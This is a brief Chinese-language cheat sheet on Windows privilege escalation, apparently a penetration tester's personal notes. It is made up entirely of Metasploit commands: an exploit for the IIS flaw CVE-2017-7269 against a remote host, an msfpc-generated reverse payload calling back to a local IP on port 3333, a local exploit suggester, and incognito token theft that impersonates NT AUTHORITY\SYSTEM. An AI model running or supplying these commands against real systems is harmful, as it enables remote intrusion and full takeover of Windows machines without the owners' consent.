Windows内核提权

use exploit/windows/iis/cve-2017-7269
set rhosts IP
exploit

msfpc windows 本地IP 3333
mv windows-*.exe 1.exe
msfconsole -r windows-*exe.rc

execute -f 1.exe

利用run post/multi/recon/local_exploit_suggester 查看可利用模块

use incognito # 加载窃取令牌模块
list_tokens -u # 查看可用的用户令牌
list_tokens -g # 查看可用的用户组令牌
impersonate_token 'NT AUTHORITY\SYSTEM' # 假冒 SYSTEM token
rev2self #返回原始 token